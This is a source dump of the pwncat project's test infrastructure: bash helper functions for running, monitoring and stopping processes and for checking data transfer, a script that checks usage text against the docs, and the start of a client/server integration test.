clr_rst="\\033[m" # Reset to normal print_h3 "[${name}] Filename: ${file}" printf "${clr_div}############################ %s ############################${clr_rst}\\n" "START OF FILE (RAW) " if [ "${quote}" == "1" ]; then printf "'%s'\\n" "$(cat_raw "${file}")" else printf "%s\\n" "$(cat_raw "${file}")" fi printf "${clr_div}############################ %s ###########################${clr_rst}\\n" "START OF FILE (CTRL) " if [ "${quote}" == "1" ]; then printf "'%s'\\n" "$(cat -ev "${file}")" else printf "%s\\n" "$(cat -ev "${file}")" fi printf "${clr_div}############################### %s ###############################${clr_rst}\\n" "END OF FILE" printf "\\n" } print_data_raw() { local name="${1}" local data="${2}" local quote="${3:-0}" local add_str="${3:-}" # Append some string (to compensate for missing newline) local clr_div="\\033[0;33m" # Yellow local clr_rst="\\033[m" # Reset to normal print_h3 "[${name}]" printf "${clr_div}############################## %s ##############################${clr_rst}\\n" "START OF DATA" if [ "${quote}" == "1" ]; then printf "'%s'\\n" "${data}" else printf "%s\\n" "${data}" fi printf "${clr_div}############################### %s ###############################${clr_rst}\\n" "END OF DATA" printf "\\n" } readonly PRINT_TEST_DATETIME_INIT_START_SEC="$( date '+%s' )" # The first test started PRINT_TEST_DATETIME_TEST_START_SEC=0 PRINT_TEST_DATETIME_TEST_COUNT_NUM=0 print_test_datetime() { local now_date= local now_sec=0 local curr_round=0 # time in seconds for current round local all_rounds=0 # time in seconds for all rounds now_date="$( date )" now_sec="$( date '+%s' )" >&2 printf -- '-%.0s' {1..80} # Test starte if [ "$(( PRINT_TEST_DATETIME_TEST_COUNT_NUM % 2 ))" -eq "0" ]; then PRINT_TEST_DATETIME_TEST_START_SEC="${now_sec}" >&2 printf "[TEST START]: %s" "${now_date}" # Test finished else curr_round=$(( now_sec - PRINT_TEST_DATETIME_TEST_START_SEC )) all_rounds=$(( now_sec - PRINT_TEST_DATETIME_INIT_START_SEC )) >&2 printf "[TEST DONE]: %s (curr: %s sec) (total: %s sec)" "${now_date}" "${curr_round}" "${all_rounds}" fi >&2 echo PRINT_TEST_DATETIME_TEST_COUNT_NUM=$(( PRINT_TEST_DATETIME_TEST_COUNT_NUM + 1 )) } readonly PRINT_RUN_DATETIME_INIT_START_SEC="$( date '+%s' )" # The first test started PRINT_RUN_DATETIME_TEST_START_SEC=0 PRINT_RUN_DATETIME_TEST_COUNT_NUM=0 print_run_datetime() { local now_date= local now_sec=0 local curr_round=0 # time in seconds for current round local all_rounds=0 # time in seconds for all rounds now_date="$( date )" now_sec="$( date '+%s' )" >&2 printf -- '.%.0s' {1..60} # Test starte if [ "$(( PRINT_RUN_DATETIME_TEST_COUNT_NUM % 2 ))" -eq "0" ]; then PRINT_RUN_DATETIME_TEST_START_SEC="${now_sec}" >&2 printf "[RUN START]" # Test finished else curr_round=$(( now_sec - PRINT_RUN_DATETIME_TEST_START_SEC )) all_rounds=$(( now_sec - PRINT_RUN_DATETIME_INIT_START_SEC )) >&2 printf "[RUN DONE] (%s sec)" "${curr_round}" fi >&2 echo PRINT_RUN_DATETIME_TEST_COUNT_NUM=$(( PRINT_RUN_DATETIME_TEST_COUNT_NUM + 1 )) } # ------------------------------------------------------------------------------------------------- # LOW LEVEL FUNCTIONS # ------------------------------------------------------------------------------------------------- ### ### Ensure the file contains errors ### ### Returns success (0) if errors are detected ### has_errors() { local stderr="${1}" local reg_ignore_err="${2:-}" if [ ! -f "${stderr}" ]; then >&2 echo "[Assert Error] 'has_errors()' did not receive a valid file: ${stderr}" exit 1 fi # Stuff the Python logging.Logger is producing if [ -n "${reg_ignore_err}" ]; then if run "grep -Eiv '${reg_ignore_err}' '${stderr}' | grep -E 'FATAL|ERROR' >/dev/null"; then return 0 # Successful return means it has errors fi else if run "grep -E 'FATAL|ERROR' '${stderr}' >/dev/null"; then return 0 # Successful return means it has errors fi fi # Other stuff that might pop up. Note that greping for 'Error' case-insensitive # might yield false positives due to all the caught exception messages that may # contain the word 'Error' or a combination of it. if [ -n "${reg_ignore_err}" ]; then if run "grep -Eiv '${reg_ignore_err}' '${stderr}' | grep -Ei 'Traceback|Exception|Segfaul|Fatal|Syntax' >/dev/null"; then return 0 # Successful return means it has errors fi else if run "grep -Ei 'Traceback|Exception|Segfaul|Fatal|Syntax' '${stderr}' >/dev/null"; then return 0 # Successful return means it has errors fi fi # Return failure (1) no errors are detected return 1 } ### ### Ensure the file does NOT contain errors ### has_no_errors() { local stderr="${1}" local reg_ignore_err="${2:-}" local errors=0 if [ ! -f "${stderr}" ]; then >&2 echo "[Assert Error] 'has_no_errors()' did not receive a valid file: ${stderr}" exit 1 fi # Stuff the Python logger is producing if [ -n "${reg_ignore_err}" ]; then if ! run_fail "grep -Eiv '${reg_ignore_err}' '${stderr}' | grep -E 'FATAL|ERROR' >/dev/null"; then errors=$(( errors + 1 )) fi else if ! run_fail "grep -E 'FATAL|ERROR' '${stderr}' >/dev/null"; then errors=$(( errors + 1 )) fi fi # Other stuff that might pop up. Note that greping for 'Error' case-insensitive # might yield false positives due to all the caught exception messages that may # contain the word 'Error' or a combination of it. if [ -n "${reg_ignore_err}" ]; then if ! run_fail "grep -Eiv '${reg_ignore_err}' '${stderr}' | grep -Ei 'Traceback|Exception|Segfaul|Fatal|Syntax' >/dev/null"; then errors=$(( errors + 1 )) fi else if ! run_fail "grep -Ei 'Traceback|Exception|Segfaul|Fatal|Syntax' '${stderr}' >/dev/null"; then errors=$(( errors + 1 )) fi fi return ${errors} } ### ### Check if pid is running ### pid_is_running() { local pid="${1}" if [ -z "${pid}" ]; then >&2 echo "[Assert Error] 'pid_is_running()' function did not receive a pid value" exit 1 fi # Try different methods to determine if it is running if run "kill -0 ${pid}"; then return 0 fi if run "ps -p ${pid}"; then return 0 fi return 1 } ### ### Check if pid is running ### pid_is_not_running() { local pid="${1}" local running=0 if [ -z "${pid}" ]; then >&2 echo "[Assert Error] 'pid_is_not_running()' function did not receive a pid value" exit 1 fi # Both methods should not succeed (in case on does not exist anyway) # Command not found or "not running" if run_fail "kill -0 ${pid}"; then running=$(( running + 1 )) fi # Command not found or "not running" if run_fail "ps -p ${pid}"; then running=$(( running + 1 )) fi # Two confirmations if [ "${running}" == "2" ]; then return 0 fi return 1 } ### ### Stop pid gracefully ### stop_pid() { local pid="${1}" if [ -z "${pid}" ]; then >&2 echo "[Assert Error] 'stop_pid()' function did not receive a pid value" exit 1 fi if ! run "kill ${pid}"; then return 1 fi # Give it some time to shutdown gracefully for i in {1..10}; do sleep 1 # Sleep first to give it a second to come done before testing if pid_is_not_running "${pid}"; then return 0 fi done # Nope, still running return 1 } ### ### Kill pid with force ### kill_pid() { local pid="${1}" if [ -z "${pid}" ]; then >&2 echo "[Assert Error] 'kill_pid()' function did not receive a pid value" exit 1 fi if ! run "kill -9 ${pid}"; then return 1 fi # Give it some time to shutdown gracefully # shellcheck disable=SC2034 for i in {1..10}; do sleep 1 # Sleep first to give it a second to come done before testing if pid_is_not_running "${pid}"; then return 0 fi run "kill -9 ${pid} || true" done # Nope, still running return 1 } ### ### Create tmpfile wrapper ### tmp_file() { # Just in case it needs to be adjusted everywhere mktemp } # ------------------------------------------------------------------------------------------------- # RUN FUNCTIONS # ------------------------------------------------------------------------------------------------- ### ### Run a command in foreground ### run() { print_run_datetime local cmd="${1}" local clr_cmd="\\033[0;35m" # Purple local clr_ok="\\033[0;32m" # Green local clr_fail="\\033[0;31m" # Red local clr_rst="\\033[m" # Reset to normal printf "${clr_cmd}%s${clr_rst}\\n" "${cmd}" if eval "${cmd}"; then printf "${clr_ok}%s${clr_rst}\\n" "[OK]" print_run_datetime return 0 fi printf "${clr_fail}%s${clr_rst}\\n" "[FAIL]" print_run_datetime return 1 } ### ### Run a command in foreground and ensure it failed ### run_fail() { print_run_datetime local cmd="${1}" local clr_cmd="\\033[0;35m" # Purple local clr_ok="\\033[0;32m" # Green local clr_fail="\\033[0;31m" # Red local clr_rst="\\033[m" # Reset to normal >&2 printf "${clr_cmd}%s${clr_rst}\\n" "${cmd}" if ! eval "${cmd}"; then >&2 printf "${clr_ok}%s${clr_rst}\\n" "[OK] (failed - was supposed to fail)" print_run_datetime return 0 fi >&2 printf "${clr_fail}%s${clr_rst}\\n" "[FAIL] (succeeded - was supposed to fail)" print_run_datetime return 1 } ### ### Run a command in background and return its pid ### run_bg() { print_test_datetime local pipe="${1}" shift local index_stdout=$(( ${#} - 2 )) local index_stderr=$(( ${#} - 1 )) local stdout= local stderr= local cnt=0 for arg in "${@}"; do if [ "${cnt}" -eq "${index_stdout}" ]; then stdout="${arg}" fi if [ "${cnt}" -eq "${index_stderr}" ]; then stderr="${arg}" fi cnt=$(( cnt + 1 )) done # Remove last two arguments set -- "${@:1:$(($#-1))}" set -- "${@:1:$(($#-1))}" local clr_cmd="\\033[0;35m" # Purple local clr_ok="\\033[0;32m" # Green local clr_fail="\\033[0;31m" # Red local clr_rst="\\033[m" # Reset to normal local pid # Piped command if [ -n "${pipe}" ]; then >&2 printf "${clr_cmd}%s | %s${clr_rst}\\n" "${pipe}" "${*} > ${stdout} 2> ${stderr}" ${pipe} | "${@}" > "${stdout}" 2> "${stderr}" & pid="${!:-}" # Normal command else >&2 printf "${clr_cmd}%s${clr_rst}\\n" "${*} > ${stdout} 2> ${stderr}" "${@}" > "${stdout}" 2> "${stderr}" & pid="${!:-}" fi # Check PID if [ -z "${pid}" ]; then >&2 printf "${clr_fail}%s${clr_rst}\\n" "[FAIL]" print_test_datetime return 1 fi >&2 printf "PID: ${pid}\\n" >&2 printf "${clr_ok}%s${clr_rst}\\n" "[OK]" echo "${pid}" print_test_datetime return 0 } # ------------------------------------------------------------------------------------------------- # HIGH LEVEL CHECK FUNCTIONS - they will automatically exit the script!!! # ------------------------------------------------------------------------------------------------- ### ### ### wait_for_data_transferred() { print_test_datetime local expect_regex="${1}" local expect_data="${2}" # If not empty, will be OR'ed with expect_data. This is useful/required # to overcome different newlines on OS \n vs \r\n. So when not testing against # newlines, we will OR the data to ignore newline changes. local expect_data_or="${3}" local recv_name="${4}" local recv_pid="${5}" local recv_file_stdout="${6}" local recv_file_stderr="${7}" local send_name="${8:-}" local send_pid="${9:-}" local send_file_stdout="${10:-}" local send_file_stderr="${11:-}" # ASSERTS if [ -n "${send_name}" ]; then if [ -z "${send_pid}" ] || [ -z "${send_file_stdout}" ] || [ -z "${send_file_stderr}" ]; then print_error "[Meta] (wait_for_data_transferred(): send_pid, send_file_stdout or send_file_stderr not specified." print_test_datetime exit 1 fi fi if [ -n "${send_name}" ]; then print_info "Wait for data transferred (${send_name} -> ${recv_name})" else print_info "Wait for data transferred on ${recv_name}" fi local cnt=0 local retry=20 # 1/2 Validate transfer against regex if [ -n "${expect_regex}" ]; then while ! grep -E "${expect_regex}" "${recv_file_stdout}" >/dev/null; do printf "." cnt=$(( cnt + 1 )) if [ "${cnt}" -gt "${retry}" ]; then echo if [ -n "${send_name}" ]; then print_file "SENDER] [${send_name}] - [/dev/stdout" "${send_file_stdout}" print_file "SENDER] [${send_name}] - [/dev/stderr" "${send_file_stderr}" fi print_file "RECVER] [${recv_name}] - [/dev/stderr" "${recv_file_stderr}" echo print_data "EXPECT] [${recv_name}] - [REG" "${expect_regex}" print_file "RECVER] [${recv_name}] - [RAW" "${recv_file_stdout}" print_data "RECVER] [${recv_name}] - [HEX" "$( od -c "${recv_file_stdout}" )" "\\n" echo if [ -n "${send_name}" ]; then print_error "[Receive Error] Received data on ${recv_name} does not match send data from ${send_name}." else print_error "[Receive Error] Received data on ${recv_name} does not match expected data." fi if [ -n "${send_pid}" ]; then kill_pid "${send_pid}" || true fi kill_pid "${recv_pid}" || true print_test_datetime exit 1 fi sleep 1 echo done # 2/3 Check against exact match or exact other match of expected vs received (\r\n vs \n) elif [ -n "${expect_data_or}" ]; then # 3/3 Check against exact match of expected vs received # shellcheck disable=SC2059 while ! diff \ <(printf "${expect_data}" | od -c) \ <(od -c "${recv_file_stdout}") >/dev/null \ && ! diff \ <(printf "${expect_data_or}" | od -c) \ <(od -c "${recv_file_stdout}") >/dev/null; do printf "." cnt=$(( cnt + 1 )) if [ "${cnt}" -gt "${retry}" ]; then echo if [ -n "${send_name}" ]; then print_file "SENDER] [${send_name}] - [/dev/stdout" "${send_file_stdout}" print_file "SENDER] [${send_name}] - [/dev/stderr" "${send_file_stderr}" fi print_file "RECVER] [${recv_name}] - [/dev/stderr" "${recv_file_stderr}" echo print_data_raw "EXPCT1] [${recv_name}] - [RAW" "${expect_data}" 1 print_data_raw "EXPCT2] [${recv_name}] - [RAW" "${expect_data_or}" 1 print_file_raw "RECVER] [${recv_name}] - [RAW" "${recv_file_stdout}" 1 echo print_data_raw "EXPCT1] [${recv_name}] - [HEX" "$( printf "${expect_data}" | od -c )" print_data_raw "EXPCT2] [${recv_name}] - [HEX" "$( printf "${expect_data_or}" | od -c )" print_data_raw "RECVER] [${recv_name}] - [HEX" "$( od -c "${recv_file_stdout}" )" # Show some diff's echo '---------- diff <(printf expect | od -c) <(cat file_stdout | od -c) ----------' # shellcheck disable=SC2002 diff <(printf "${expect_data}" | od -c) <(cat "${recv_file_stdout}" | od -c) || true echo '---------- diff <(printf expect_or | od -c) <(cat file_stdout | od -c) ----------' # shellcheck disable=SC2002 diff <(printf "${expect_data_or}" | od -c) <(cat "${recv_file_stdout}" | od -c) || true echo '---------- diff <(printf expect | od -c) <(od -c file_stdout) ----------' diff <(printf "${expect_data}" | od -c) <(od -c "${recv_file_stdout}") || true echo '---------- diff <(printf expect_or | od -c) <(od -c file_stdout) ----------' diff <(printf "${expect_data_or}" | od -c) <(od -c "${recv_file_stdout}") || true echo '---------- diff <(printf expect) file_stdout ----------' diff <(printf "${expect_data}") "${recv_file_stdout}" || true echo '---------- diff <(printf expect_or) file_stdout ----------' diff <(printf "${expect_data_or}") "${recv_file_stdout}" || true echo if [ -n "${send_name}" ]; then print_error "[Receive Error] Received data on ${recv_name} does not match send data from ${send_name}." else print_error "[Receive Error] Received data on ${recv_name} does not match expected data." fi if [ -n "${send_pid}" ]; then kill_pid "${send_pid}" || true fi kill_pid "${recv_pid}" || true print_test_datetime exit 1 fi sleep 1 done print_data_raw "EXPCT1] [${recv_name}] - [RAW" "${expect_data}" 1 print_data_raw "EXPCT2] [${recv_name}] - [RAW" "${expect_data_or}" 1 # shellcheck disable=SC2059 print_data_raw "EXPCT1] [${recv_name}] - [HEX" "$( printf "${expect_data}" | od -c )" # shellcheck disable=SC2059 print_data_raw "EXPCT2] [${recv_name}] - [HEX" "$( printf "${expect_data_or}" | od -c )" echo else # shellcheck disable=SC2059 while ! diff \ <(printf "${expect_data}" | od -c) \ <(od -c "${recv_file_stdout}") >/dev/null; do printf "." cnt=$(( cnt + 1 )) if [ "${cnt}" -gt "${retry}" ]; then echo if [ -n "${send_name}" ]; then print_file "SENDER] [${send_name}] - [/dev/stdout" "${send_file_stdout}" print_file "SENDER] [${send_name}] - [/dev/stderr" "${send_file_stderr}" fi print_file "RECVER] [${recv_name}] - [/dev/stderr" "${recv_file_stderr}" echo print_data_raw "EXPECT] [${recv_name}] - [RAW" "${expect_data}" 1 print_file_raw "RECVER] [${recv_name}] - [RAW" "${recv_file_stdout}" 1 echo print_data_raw "EXPECT] [${recv_name}] - [HEX" "$( printf "${expect_data}" | od -c )" print_data_raw "RECVER] [${recv_name}] - [HEX" "$( od -c "${recv_file_stdout}" )" # Show some diff's echo '---------- diff <(printf expect | od -c) <(cat file_stdout | od -c) ----------' # shellcheck disable=SC2002 diff <(printf "${expect_data}" | od -c) <(cat "${recv_file_stdout}" | od -c) || true echo '---------- diff <(printf expect | od -c) <(od -c file_stdout) ----------' diff <(printf "${expect_data}" | od -c) <(od -c "${recv_file_stdout}") || true echo '---------- diff <(printf expect) file_stdout ----------' diff <(printf "${expect_data}") "${recv_file_stdout}" || true echo if [ -n "${send_name}" ]; then print_error "[Receive Error] Received data on ${recv_name} does not match send data from ${send_name}." else print_error "[Receive Error] Received data on ${recv_name} does not match expected data." fi if [ -n "${send_pid}" ]; then kill_pid "${send_pid}" || true fi kill_pid "${recv_pid}" || true print_test_datetime exit 1 fi sleep 1 done print_data_raw "EXPECT] [${recv_name}] - [RAW" "${expect_data}" 1 # shellcheck disable=SC2059 print_data_raw "EXPECT] [${recv_name}] - [HEX" "$( printf "${expect_data}" | od -c )" echo fi print_file "RECVER] [${recv_name}] - [/dev/stderr" "${recv_file_stderr}" print_file_raw "RECVER] [${recv_name}] received - [RAW" "${recv_file_stdout}" 1 print_data_raw "RECVER] [${recv_name}] received - [HEX" "$( od -c "${recv_file_stdout}" )" # shellcheck disable=SC2002 print_data_raw "RECVER] [${recv_name}] received - [HEX" "$( cat "${recv_file_stdout}" | od -c )" print_ok "Data transferred successfully" print_test_datetime } ### ### Stop instance gratefully, or kill and exit ### action_stop_instance() { print_test_datetime local name="${1}" local pid="${2}" local file_stdout="${3}" local file_stderr="${4}" # Optional local name2="${5:-}" local pid2="${6:-}" local file_stdout2="${7:-}" local file_stderr2="${8:-}" # ASSERTS if [ -n "${name2}" ]; then if [ -z "${pid2}" ] || [ -z "${file_stdout2}" ] || [ -z "${file_stderr2}" ]; then print_error "[Meta] (action_stop_instance(): pid2, stdout2 or stderr2 not specified." print_test_datetime exit 1 fi fi # (1/3) Normal stop print_info "Stopping ${name} gracefully (pid: ${pid})..." if stop_pid "${pid}"; then print_ok "${name} was stopped gracefully and successfully" print_test_datetime return 0 fi # (2/3) Show info after graceful stop attempt if [ -n "${name2}" ]; then print_file "${name2} STDERR" "${file_stderr2}" print_file "${name2} STDOUT" "${file_stdout2}" fi print_file "${name} STDERR" "${file_stderr}" print_file "${name} STDOUT" "${file_stdout}" print_error "[Meta] Could not stop ${name} process with pid: ${pid}" # (3/3) Kill with force and cleanup kill_pid "${pid}" || true if [ -n "${name2}" ]; then kill_pid "${pid2}" || true print_file "${name2} STDERR" "${file_stderr2}" print_file "${name2} STDOUT" "${file_stdout2}" fi print_file "${name} STDERR" "${file_stderr}" print_file "${name} STDOUT" "${file_stdout}" print_error "[Meta] Could not stop ${name} gracefully process with pid: ${pid}" print_test_datetime exit 1 } ### ### Ensure instance is running ### test_case_instance_is_running() { print_test_datetime local name="${1}" local pid="${2}" local file_stdout="${3}" local file_stderr="${4}" # Optional local name2="${5:-}" local pid2="${6:-}" local file_stdout2="${7:-}" local file_stderr2="${8:-}" # ASSERTS if [ -n "${name2}" ]; then if [ -z "${pid2}" ] || [ -z "${file_stdout2}" ] || [ -z "${file_stderr2}" ]; then print_error "[Meta] (test_case_instance_is_running(): pid2, stdout2 or stderr2 not specified." print_test_datetime exit 1 fi fi print_info "Check ${name} is running (pid: ${pid}) ..." if pid_is_running "${pid}"; then print_ok "${name} is running with pid: ${pid}" print_test_datetime return 0 fi if [ -n "${name2}" ]; then print_file "${name2} STDERR" "${file_stderr2}" print_file "${name2} STDOUT" "${file_stdout2}" fi print_file "${name} STDERR" "${file_stderr}" print_file "${name} STDOUT" "${file_stdout}" print_error "[${name} Error] Failed to start ${name} in background" # cleanup if [ -n "${name2}" ]; then kill_pid "${pid2}" || true fi print_test_datetime exit 1 } ### ### Ensure instance is stopped ### test_case_instance_is_stopped() { print_test_datetime local name="${1}" local pid="${2}" local file_stdout="${3}" local file_stderr="${4}" # Optional local name2="${5:-}" local pid2="${6:-}" local file_stdout2="${7:-}" local file_stderr2="${8:-}" # ASSERTS if [ -n "${name2}" ]; then if [ -z "${pid2}" ] || [ -z "${file_stdout2}" ] || [ -z "${file_stderr2}" ]; then print_error "[Meta] (test_case_instance_is_stopped(): pid2, stdout2 or stderr2 not specified." print_test_datetime exit 1 fi fi print_info "Check ${name} has stopped (pid: ${pid}) ..." # Give it some time to shutdown gracefully # shellcheck disable=SC2034 for i in {1..10}; do sleep 1 # Sleep first to give it a second to come down if pid_is_not_running "${pid}"; then print_ok "${name} has stopped" print_test_datetime return 0 fi done # Show logs if [ -n "${name2}" ]; then print_file "${name2} STDERR" "${file_stderr2}" print_file "${name2} STDOUT" "${file_stdout2}" fi print_file "${name} STDERR" "${file_stderr}" print_file "${name} STDOUT" "${file_stdout}" run "ps -ef" || true print_error "[${name} Error] ${name} is not stopped" # cleanup kill_pid "${pid}" || true if [ -n "${name2}" ]; then kill_pid "${pid2}" || true fi print_test_datetime exit 1 } ### ### Ensure instance has no errors ### test_case_instance_has_no_errors() { print_test_datetime # This is a mysterious bash error. We need to somehow use these parameters # in case only 1,2,3,4 and 9 are specified... no idea why. But this way the 9th # parameter will have a value as it is supposed to be set +u echo "1: ${1}" >/dev/null echo "2: ${2}" >/dev/null echo "3: ${3}" >/dev/null echo "4: ${4}" >/dev/null echo "5: ${5}" >/dev/null echo "6: ${6}" >/dev/null echo "7: ${7}" >/dev/null echo "8: ${8}" >/dev/null echo "9: ${9}" >/dev/null set -u local name="${1}" local pid="${2:-}" local file_stdout="${3}" local file_stderr="${4}" # Optional local name2="${5:-}" local pid2="${6:-}" local file_stdout2="${7:-}" local file_stderr2="${8:-}" local reg_ignore_err="${9:-}" # ASSERTS if [ -n "${name2}" ]; then if [ -z "${pid2}" ] || [ -z "${file_stdout2}" ] || [ -z "${file_stderr2}" ]; then print_error "[Meta] (test_case_instance_has_no_errors(): pid2, stdout2 or stderr2 not specified." print_test_datetime exit 1 fi fi if [ -n "${reg_ignore_err}" ]; then print_info "Check ${name} for errors (except: '${reg_ignore_err}')" else print_info "Check ${name} for errors" fi # All good, we do not have any errors :-) if has_no_errors "${file_stderr}" "${reg_ignore_err}"; then print_ok "${name} has no errors" print_test_datetime return 0 fi if [ -n "${name2}" ]; then print_file "${name2} STDERR" "${file_stderr2}" print_file "${name2} STDOUT" "${file_stdout2}" fi print_file "${name} STDERR" "${file_stderr}" print_file "${name} STDOUT" "${file_stdout}" print_error "[${name} Error] Errors found in stderr" # cleanup kill_pid "${pid}" || true if [ -n "${name2}" ]; then kill_pid "${pid2}" || true fi print_test_datetime exit 1 } ### ### Ensure instance does have errors ### test_case_instance_has_errors() { print_test_datetime local name="${1}" local pid="${2:-}" local file_stdout="${3}" local file_stderr="${4}" # Optional local name2="${5:-}" local pid2="${6:-}" local file_stdout2="${7:-}" local file_stderr2="${8:-}" # ASSERTS if [ -n "${name2}" ]; then if [ -z "${pid2}" ] || [ -z "${file_stdout2}" ] || [ -z "${file_stderr2}" ]; then print_error "[Meta] (test_case_instance_has_errors(): pid2, stdout2 or stderr2 not specified." print_test_datetime exit 1 fi fi print_info "Ensure ${name} has errors" # All good, we DO HAVE errors :-) if has_errors "${file_stderr}"; then print_ok "${name} has errors (as expected)" print_test_datetime return 0 fi if [ -n "${name2}" ]; then print_file "${name2} STDERR" "${file_stderr2}" print_file "${name2} STDOUT" "${file_stdout2}" fi print_file "${name} STDERR" "${file_stderr}" print_file "${name} STDOUT" "${file_stdout}" print_error "[${name} Error] No errors found in stderr, but expected" # cleanup kill_pid "${pid}" || true if [ -n "${name2}" ]; then kill_pid "${pid2}" || true fi print_test_datetime exit 1 } pwncat-0.1.2/tests/README.md000066400000000000000000000004341414025024700154270ustar00rootroot00000000000000# Tests ## [Integration](integration/) These are integration tests run on every operating system against every Python version. ## [Smoke](smoke/) Dockerized smoke tests (yet to be implemented). ## [Pipelines](pipelines/) Scripts to generate GitHub Action workflow pipelines. pwncat-0.1.2/tests/bin/000077500000000000000000000000001414025024700147175ustar00rootroot00000000000000pwncat-0.1.2/tests/bin/check-usage.sh000077500000000000000000000060641414025024700174430ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" README_PATH="${SCRIPTPATH}/../../README.md" WEBSITE_PATH="${SCRIPTPATH}/../../docs/index.html" BINARY_PATH="${SCRIPTPATH}/../../bin/pwncat" validate_readme() { local bin="${1}" local readme="${2}" printf "[TEST] Checking README.md ... " # shellcheck disable=SC2002 if diff --ignore-trailing-space \ <($(which python2) "${bin}" -h) \ <(cat "${readme}" | grep -E -A 10000 'usage:[[:space:]]' | grep -E -B 10000 '^[[:space:]]+\-V') \ ; then printf "%s\\n" "OK" return 0 fi printf "%s\\n" "ERROR" return 1 } _diff_website() { local curr_arg="${1}" local next_arg="${2}" if ! diff --ignore-trailing-space --ignore-blank-lines \ <($(which python2) "${bin}" -h | grep "^${curr_arg}" -A 2000 | grep "^${next_arg}" -B 2000 | grep -v "^${next_arg}" ) \ <(grep "^${curr_arg}" -A 2000 "${website}" | grep "^${next_arg}" -B 2000 | grep -v "^${next_arg}" | grep -v '') \ ; then printf "%s\\n" "ERROR - usage" return 1 fi } validate_website() { local bin="${1}" local website="${2}" local errors=0 printf "[TEST] Checking Website (docs/index.html) ... " # [1/10] usage: if ! _diff_website "usage:" "positional arguments"; then errors=$(( errors + 1 )) fi # [2/10] positional arguments: if ! _diff_website "positional arguments" "mode arguments"; then errors=$(( errors + 1 )) fi # [3/10] mode arguments: if ! _diff_website "mode arguments" "optional arguments"; then errors=$(( errors + 1 )) fi # [4/10] optional arguments: if ! _diff_website "optional arguments" "protocol arguments"; then errors=$(( errors + 1 )) fi # [5/10] protocol arguments: if ! _diff_website "protocol arguments" "command & control arguments"; then errors=$(( errors + 1 )) fi # [6/10] command & control arguments: if ! _diff_website "command & control arguments" "pwncat scripting engine"; then errors=$(( errors + 1 )) fi # [7/10] pwncat scripting engine: if ! _diff_website "pwncat scripting engine" "zero-i/o mode arguments"; then errors=$(( errors + 1 )) fi # [8/10] zero-i/0 mode arguments: if ! _diff_website "zero-i/o mode arguments" "listen mode arguments"; then errors=$(( errors + 1 )) fi # [9/10] listen mode arguments: if ! _diff_website "listen mode arguments" "connect mode arguments"; then errors=$(( errors + 1 )) fi # [10/10] connect mode arguments: if ! _diff_website "connect mode arguments" "misc arguments"; then errors=$(( errors + 1 )) fi # [6/5] Check misc arguments: if ! diff --ignore-trailing-space --ignore-blank-lines \ <($(which python2) "${bin}" -h | grep 'misc arguments' -A 2000 | grep '\-\-version' -B 2000) \ <(grep 'misc arguments' -A 2000 "${website}" | grep '\-\-version' -B 2000) \ ; then printf "%s\\n" "ERROR - misc arguments" return 1 fi if [ "${errors}" -eq "0" ]; then printf "%s\\n" "OK" return 0 fi return 1 } if ! validate_readme "${BINARY_PATH}" "${README_PATH}"; then exit 1 fi if ! validate_website "${BINARY_PATH}" "${WEBSITE_PATH}"; then exit 1 fi pwncat-0.1.2/tests/integration/000077500000000000000000000000001414025024700164725ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client/000077500000000000000000000000001414025024700232055ustar00rootroot00000000000000000---tcp---client_quits---when_server_is_killed---client_default---before_send.sh000077500000000000000000000157211414025024700417560ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### #data="abcdefghijklmnopqrstuvwxyz1234567890\\n" #data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" 